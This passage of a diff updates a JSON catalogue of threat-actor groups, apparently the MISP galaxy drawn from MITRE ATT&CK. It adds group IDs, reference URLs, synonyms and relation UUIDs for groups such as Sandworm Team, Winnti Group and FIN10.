"type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "value": "Putter Panda - G0024" + }, + { + "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)", + "meta": { + "external_id": "G0029", + "refs": [ + "https://attack.mitre.org/groups/G0029", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "synonyms": [ + "Scarlet Mimic" + ] + }, + "related": [ + { + "dest-uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb3c1098-d654-4620-bf40-694386d28921", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "value": "Scarlet Mimic - G0029" + }, + { + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)", + "meta": { + "external_id": "G0033", + "refs": [ + "https://attack.mitre.org/groups/G0033", + "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" ], "synonyms": [ "Poseidon Group" - ], - "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446" + ] }, "related": [ { @@ -279,24 +2409,248 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Poseidon Group" + "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446", + "value": "Poseidon Group - G0033" }, { - "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015.\n (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)", "meta": { + "external_id": "G0034", "refs": [ - "https://attack.mitre.org/wiki/Group/G0044", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://securelist.com/blog/incidents/70991/games-are-over/", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf" + "https://attack.mitre.org/groups/G0034", + "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html", + "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf", + "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + ], + "synonyms": [ + "Sandworm Team", + "Quedagh", + "VOODOO BEAR" + ] + }, + "related": [ + { + "dest-uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b47250ec-2094-4d06-b658-11456e05fe89", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192", + "value": "Sandworm Team - G0034" + }, + { + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)", + "meta": { + "external_id": "G0038", + "refs": [ + "https://attack.mitre.org/groups/G0038", + "https://citizenlab.org/2016/05/stealth-falcon/" + ], + "synonyms": [ + "Stealth Falcon" + ] + }, + "related": [ + { + "dest-uuid": "dab75e38-6969-4e78-9304-dc269c3cbcf0", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "894aab42-3371-47b1-8859-a4a074c804c8", + "value": "Stealth Falcon - G0038" + }, + { + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", + "meta": { + "external_id": "G0044", + "refs": [ + "https://attack.mitre.org/groups/G0044", + "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates", + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://securelist.com/games-are-over/70991/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "https://401trg.com/burning-umbrella/" ], "synonyms": [ "Winnti Group", "Blackfly" - ], - "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff" + ] }, "related": [ { @@ -326,132 +2680,728 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "Winnti Group" - }, - { - "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0029", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "synonyms": [ - "Scarlet Mimic" - ], - "uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7" - }, - "related": [ + }, { - "dest-uuid": "0da10682-85c6-4c0b-bace-ba1f7adfb63e", + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "Scarlet Mimic" - }, - { - "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0024", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "synonyms": [ - "Putter Panda", - "APT2", - "MSUpdater" - ], - "uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "0ca45163-e223-4167-b1af-f088ed14a93d", + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "d3afa961-a80c-4043-9509-282cdf69ab21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Putter Panda" + "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "value": "Winnti Group - G0044" }, { - "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", "meta": { + "external_id": "G0047", "refs": [ - "https://attack.mitre.org/wiki/Group/G0034", - "http://www.isightpartners.com/2014/10/cve-2014-4114/", - "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" + "https://attack.mitre.org/groups/G0047", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" ], "synonyms": [ - "Sandworm Team", - "Quedagh" - ], - "uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192" + "Gamaredon Group" + ] }, "related": [ { - "dest-uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35", + "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "b47250ec-2094-4d06-b658-11456e05fe89", + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "value": "Gamaredon Group - G0047" + }, + { + "description": "[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Rocket Kitten](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)", + "meta": { + "external_id": "G0058", + "refs": [ + "https://attack.mitre.org/groups/G0058", + "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + ], + "synonyms": [ + "Charming Kitten" + ] + }, + "related": [ + { + "dest-uuid": "f98bac6b-12fd-4cad-be84-c84666932232", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c", + "dest-uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7636484c-adc5-45d4-9bfe-c3e062fbc4a0", + "value": "Charming Kitten - G0058" + }, + { + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017) (Citation: FireEye APT35 2018)", + "meta": { + "external_id": "G0059", + "refs": [ + "https://attack.mitre.org/groups/G0059", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", + "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + ], + "synonyms": [ + "Magic Hound", + "Rocket Kitten", + "Operation Saffron Rose", + "Ajax Security Team", + "Operation Woolen-Goldfish", + "Newscaster", + "Cobalt Gypsy", + "APT35" + ] + }, + "related": [ + { + "dest-uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "f98bac6b-12fd-4cad-be84-c84666932232", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Sandworm Team" + "uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13", + "value": "Magic Hound - G0059" }, { - "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)", "meta": { + "external_id": "G0078", "refs": [ - "https://attack.mitre.org/wiki/Group/G0051", + "https://attack.mitre.org/groups/G0078", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + ], + "synonyms": [ + "Gorgon Group" + ] + }, + "related": [ + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "da04ac30-27da-4959-a67d-450ce47d9470", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "value": "Gorgon Group - G0078" + }, + { + "description": "[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", + "meta": { + "external_id": "G0051", + "refs": [ + "https://attack.mitre.org/groups/G0051", "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" ], "synonyms": [ "FIN10" - ], - "uuid": "6c74fda2-bb04-40bd-a166-8c2d4b952d33" + ] }, "related": [ { - "dest-uuid": "fbe9387f-34e6-4828-ac28-3080020c597b", + "dest-uuid": "6c74fda2-bb04-40bd-a166-8c2d4b952d33", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "FIN10" + "uuid": "fbe9387f-34e6-4828-ac28-3080020c597b", + "value": "FIN10 - G0051" }, { - "description": "APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]", + "description": "[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)", "meta": { + "external_id": "G0005", "refs": [ - "https://attack.mitre.org/wiki/Group/G0013", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "https://attack.mitre.org/groups/G0005", + "http://www.crowdstrike.com/blog/whois-numbered-panda/", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + ], + "synonyms": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ] + }, + "related": [ + { + "dest-uuid": "48146604-6693-4db1-bd94-159744726514", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb", + "value": "APT12 - G0005" + }, + { + "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "meta": { + "external_id": "G0013", + "refs": [ + "https://attack.mitre.org/groups/G0013", + "https://securelist.com/the-naikon-apt/69953/", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" ], "synonyms": [ "APT30" - ], - "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd" + ] }, "related": [ { @@ -481,74 +3431,304 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "APT30" - }, - { - "description": "APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0005", - "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", - "http://www.crowdstrike.com/blog/whois-numbered-panda/" - ], - "synonyms": [ - "APT12", - "IXESHE", - "DynCalc", - "Numbered Panda" - ], - "uuid": "c47f937f-1022-4f42-8525-e7a4779a14cb" - }, - "related": [ + }, { - "dest-uuid": "48146604-6693-4db1-bd94-159744726514", + "dest-uuid": "fb261c56-b80e-43a9-8351-c84081e7213d", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8b880b41-5139-4807-baa9-309690218719", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "APT12" + "uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "value": "APT30 - G0013" }, { - "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit 